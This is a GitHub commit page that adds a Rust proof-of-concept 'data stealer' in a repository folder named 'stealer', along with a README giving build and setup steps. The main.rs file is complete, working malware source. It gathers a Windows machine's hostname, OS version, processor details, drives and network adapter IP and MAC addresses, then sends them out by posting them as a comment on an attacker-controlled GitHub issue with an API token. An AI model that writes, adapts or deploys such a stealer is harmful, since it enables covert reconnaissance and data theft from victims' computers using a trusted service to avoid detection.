Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit 66212ab

Browse files
committedMar 22, 2025
Data Stealer using GitHub API
GitHub API Data Exfiltration PoC
1 parent f39c0b8 commit 66212ab

File tree

7 files changed

+344
-0
lines changed

7 files changed

+344
-0
lines changed
 

‎stealer/GitHub_API/Cargo.lock

Lines changed: 32 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎stealer/GitHub_API/Cargo.toml

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
[package]
2+
name = "GitHub_API"
3+
version = "0.1.0"
4+
edition = "2021"
5+
authors = ["5mukx", "https://x.com/5mukx", "smukx@5mukx.site"]
6+
7+
[dependencies]
8+
winapi = { version = "0.3.9", features = ["winhttp", "winbase", "sysinfoapi", "fileapi", "iphlpapi", "errhandlingapi", "winerror"] }
156 KB
Loading

‎stealer/GitHub_API/README.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# GitHub API Data Exfiltration PoC
2+
3+
This repository contains a Proof of Concept (PoC) demonstrating how data can be collected from a system and exfiltrated using the GitHub API. The code simulates a data stealer by gathering system information (e.g., hostname, OS version, network details) and sending it as a comment to a GitHub issue or as a file in a repository using legitimate API calls.
4+
5+
![PoC](./Github%20Stealer%20PoC.png)
6+
7+
## How It Works
8+
1. Collects system information using Windows API calls.
9+
2. Formats the data into a JSON payload.
10+
3. Uses the GitHub API (with a valid token) to post the data as an issue comment or repository file.
11+
12+
## How to make it work !
13+
14+
* Create Token from settings -> https://github.com/settings/tokens
15+
* Create a issue on any repo need
16+
* Note down the issue number
17+
* Do the changes here !
18+
![code block](./image.png)
19+
20+
* To build:
21+
```
22+
cargo build --release
23+
```
24+
File can be found at : GITHUB_API/target/release/GITHUB_API.exe
25+
26+
27+
## Credits / Reference
28+
29+
* Cocomelonc for Basic Idea:
30+
* https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html
31+
* API Structure to implement WinHttp in Rust:
32+
* https://github.com/winlibs/glib
33+
* https://github.com/winlibs/glib/blob/master/gio/win32/winhttp.h
34+
* https://github.com/winlibs/glib/blob/master/gio/win32/gwinhttpfile.c
35+
* WinAPI Documentation
36+
* https://docs.rs/winapi/latest/winapi/
37+
38+
[@5mukx](https://x.com/5mukx)

‎stealer/GitHub_API/image.png

13.8 KB
Loading

‎stealer/GitHub_API/src/file.rs

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
/*
2+
Author: @5mukx
3+
*/
4+
5+
use std::ptr::null_mut;
6+
7+
use winapi::ctypes::c_void;
8+
9+
pub const MAX_COMPUTERNAME_LENGTH: u32 = 15u32;
10+
11+
pub const WINHTTP_NO_PROXY_NAME: *mut c_void = null_mut();
12+
pub const WINHTTP_NO_PROXY_BYPASS: *mut c_void = null_mut();
13+
pub const WINHTTP_NO_REFERER: *mut c_void = null_mut();
14+
pub const WINHTTP_HEADER_NAME_BY_INDEX: *mut c_void = null_mut();
15+
pub const WINHTTP_NO_HEADER_INDEX: *mut c_void = null_mut();

‎stealer/GitHub_API/src/main.rs

Lines changed: 251 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,251 @@
1+
/*
2+
Author: @5mukx
3+
*/
4+
5+
use std::ptr::{self, null_mut};
6+
use std::ffi::CStr;
7+
use file::{MAX_COMPUTERNAME_LENGTH, WINHTTP_HEADER_NAME_BY_INDEX, WINHTTP_NO_HEADER_INDEX, WINHTTP_NO_PROXY_BYPASS, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_REFERER};
8+
use winapi::ctypes::c_void;
9+
use winapi::shared::winerror::ERROR_SUCCESS;
10+
use winapi::um::iptypes::IP_ADAPTER_INFO;
11+
use winapi::um::winhttp::*;
12+
use winapi::um::errhandlingapi::GetLastError;
13+
use winapi::um::winbase::*;
14+
use winapi::um::sysinfoapi::{GetSystemInfo, GetVersionExA, SYSTEM_INFO};
15+
use winapi::um::fileapi::GetLogicalDrives;
16+
use winapi::um::iphlpapi::GetAdaptersInfo;
17+
use winapi::um::winnt::OSVERSIONINFOA;
18+
19+
mod file;
20+
21+
const GITHUB_TOKEN: &str = "Your Github Token HEre";
22+
const REPO_OWNER: &str = "Your Account username";
23+
const REPO_NAME: &str = "your repo name";
24+
// ISSUE NUMBER -> CREATE AN ISSUE in your Repo !
25+
const ISSUE_NUMBER: &str = "1";
26+
27+
fn to_wide_string(s: &str) -> Vec<u16> {
28+
s.encode_utf16().chain(std::iter::once(0)).collect()
29+
}
30+
31+
fn send_to_github(comment: &str) -> i32 {
32+
// Initialize WinHTTP session
33+
let user_agent = to_wide_string("UserAgent");
34+
let h_session = unsafe {
35+
WinHttpOpen(
36+
user_agent.as_ptr(),
37+
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
38+
WINHTTP_NO_PROXY_NAME as *const u16,
39+
WINHTTP_NO_PROXY_BYPASS as *const u16,
40+
0,
41+
)
42+
};
43+
44+
45+
if h_session.is_null() {
46+
println!("WinHttpOpen failed: {}", unsafe { GetLastError() });
47+
return 1;
48+
}
49+
50+
// convert to connect api.github.com
51+
let server_name = to_wide_string("api.github.com");
52+
let h_connect = unsafe {
53+
WinHttpConnect(
54+
h_session,
55+
server_name.as_ptr(),
56+
INTERNET_DEFAULT_HTTPS_PORT,
57+
0,
58+
)
59+
};
60+
if h_connect.is_null() {
61+
println!("WinHttpConnect failed: {}", unsafe { GetLastError() });
62+
unsafe { WinHttpCloseHandle(h_session) };
63+
return 1;
64+
}
65+
66+
let url = format!("/repos/{}/{}/issues/{}/comments", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);
67+
let url_wide = to_wide_string(&url);
68+
69+
let verb = to_wide_string("POST");
70+
let h_request = unsafe {
71+
WinHttpOpenRequest(
72+
h_connect,
73+
verb.as_ptr(),
74+
url_wide.as_ptr(),
75+
ptr::null(),
76+
WINHTTP_NO_REFERER as *const u16,
77+
null_mut(),
78+
WINHTTP_FLAG_SECURE,
79+
)
80+
};
81+
82+
83+
if h_request.is_null() {
84+
println!("WinHttpOpenRequest failed: {}", unsafe { GetLastError() });
85+
unsafe { WinHttpCloseHandle(h_connect) };
86+
unsafe { WinHttpCloseHandle(h_session) };
87+
return 1;
88+
}
89+
90+
let json_body = format!(r#"{{"body": "{}"}}"#, comment);
91+
let json_body_bytes = json_body.as_bytes();
92+
93+
let headers = format!(
94+
"Authorization: Bearer {}\r\nUser-Agent: hack-client\r\nContent-Type: application/json\r\n",
95+
GITHUB_TOKEN
96+
);
97+
let headers_wide = to_wide_string(&headers);
98+
99+
// Send the request
100+
let success = unsafe {
101+
WinHttpSendRequest(
102+
h_request,
103+
headers_wide.as_ptr(),
104+
-1i32 as u32, // Null-terminated headers
105+
json_body_bytes.as_ptr() as *mut c_void,
106+
json_body_bytes.len() as u32,
107+
json_body_bytes.len() as u32,
108+
0,
109+
)
110+
};
111+
112+
113+
if success == 0 {
114+
println!("WinHttpSendRequest failed: {}", unsafe { GetLastError() });
115+
unsafe { WinHttpCloseHandle(h_request) };
116+
unsafe { WinHttpCloseHandle(h_connect) };
117+
unsafe { WinHttpCloseHandle(h_session) };
118+
return 1;
119+
}
120+
121+
let success = unsafe {
122+
WinHttpReceiveResponse(h_request, ptr::null_mut())
123+
};
124+
125+
126+
if success == 0 {
127+
println!("WinHttpReceiveResponse failed: {}", unsafe { GetLastError() });
128+
unsafe { WinHttpCloseHandle(h_request) };
129+
unsafe { WinHttpCloseHandle(h_connect) };
130+
unsafe { WinHttpCloseHandle(h_session) };
131+
return 1;
132+
}
133+
134+
let mut code: u32 = 0;
135+
let mut code_size = std::mem::size_of::<u32>() as u32;
136+
let success = unsafe {
137+
WinHttpQueryHeaders(
138+
h_request,
139+
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
140+
WINHTTP_HEADER_NAME_BY_INDEX as *const u16,
141+
&mut code as *mut u32 as *mut c_void,
142+
&mut code_size,
143+
WINHTTP_NO_HEADER_INDEX as *mut u32,
144+
)
145+
};
146+
147+
if success != 0 {
148+
if code == 201 {
149+
println!("comment posted successfully.");
150+
} else {
151+
println!("failed to post comment. HTTP Status Code: {}", code);
152+
}
153+
} else {
154+
println!("WinHttpQueryHeaders failed: {}", unsafe { GetLastError() });
155+
}
156+
157+
unsafe {
158+
WinHttpCloseHandle(h_request);
159+
WinHttpCloseHandle(h_connect);
160+
WinHttpCloseHandle(h_session);
161+
}
162+
163+
0
164+
}
165+
166+
fn main() {
167+
168+
let result = send_to_github("Hey. 5mukx here ! 5pidey sense tickles ...");
169+
if result != 0 {
170+
println!("Failed to send test message");
171+
return;
172+
}
173+
174+
let mut system_info = String::new();
175+
176+
// get the host name !
177+
178+
let mut host_name = [0u8; MAX_COMPUTERNAME_LENGTH as usize + 1];
179+
let mut size = host_name.len() as u32;
180+
181+
let success = unsafe { GetComputerNameA(host_name.as_mut_ptr() as *mut i8, &mut size) };
182+
183+
if success == 0 {
184+
println!("GetComputerNameA failed: {}", unsafe { GetLastError() });
185+
return;
186+
}
187+
188+
let host_name_str = std::str::from_utf8(&host_name[..size as usize]).unwrap_or("Unknown");
189+
system_info.push_str(&format!("Host Name: {}, ", host_name_str));
190+
191+
let mut os_version: OSVERSIONINFOA = unsafe { std::mem::zeroed() };
192+
os_version.dwOSVersionInfoSize = std::mem::size_of::<OSVERSIONINFOA>() as u32;
193+
let success = unsafe {
194+
GetVersionExA(&mut os_version as *mut _)
195+
};
196+
197+
if success == 0 {
198+
println!("GetVersionExA failed: {}", unsafe { GetLastError() });
199+
return;
200+
}
201+
202+
system_info.push_str(&format!(
203+
"OS Version: {}.{}.{}, ",
204+
os_version.dwMajorVersion,
205+
os_version.dwMinorVersion,
206+
os_version.dwBuildNumber
207+
));
208+
209+
let mut sys_info: SYSTEM_INFO = unsafe { std::mem::zeroed() };
210+
unsafe {
211+
GetSystemInfo(&mut sys_info);
212+
213+
system_info.push_str(&format!(
214+
"Processor Architecture: {}, Number of Processors: {}, ",
215+
sys_info.u.s().wProcessorArchitecture,
216+
sys_info.dwNumberOfProcessors
217+
));
218+
}
219+
220+
let drives = unsafe { GetLogicalDrives() };
221+
system_info.push_str(&format!("Logical Drives: {:X}, ", drives));
222+
223+
let mut adapter_info: [IP_ADAPTER_INFO; 16] = unsafe { std::mem::zeroed() };
224+
let mut adapter_info_size = std::mem::size_of_val(&adapter_info) as u32;
225+
let result = unsafe { GetAdaptersInfo(adapter_info.as_mut_ptr(), &mut adapter_info_size) };
226+
if result != ERROR_SUCCESS {
227+
println!("GetAdaptersInfo failed: {}", result);
228+
return;
229+
}
230+
231+
let mut adapter = adapter_info.as_ptr();
232+
while !adapter.is_null() {
233+
let adapter_ref = unsafe { &*adapter };
234+
system_info.push_str(&format!(
235+
"Adapter Name: {}, IP Address: {}, Subnet Mask: {}, MAC Address: {:02X}-{:02X}-{:02X}-{:02X}-{:02X}-{:02X}, ",
236+
unsafe { CStr::from_ptr(adapter_ref.AdapterName.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
237+
unsafe { CStr::from_ptr(adapter_ref.IpAddressList.IpAddress.String.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
238+
unsafe { CStr::from_ptr(adapter_ref.IpAddressList.IpMask.String.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
239+
adapter_ref.Address[0], adapter_ref.Address[1], adapter_ref.Address[2],
240+
adapter_ref.Address[3], adapter_ref.Address[4], adapter_ref.Address[5]
241+
));
242+
adapter = adapter_ref.Next;
243+
}
244+
245+
let result = send_to_github(&system_info);
246+
if result == 0 {
247+
println!("Hell Yeah..!");
248+
} else {
249+
println!("Oops..");
250+
}
251+
}

0 commit comments

Comments
 (0)
Please sign in to comment.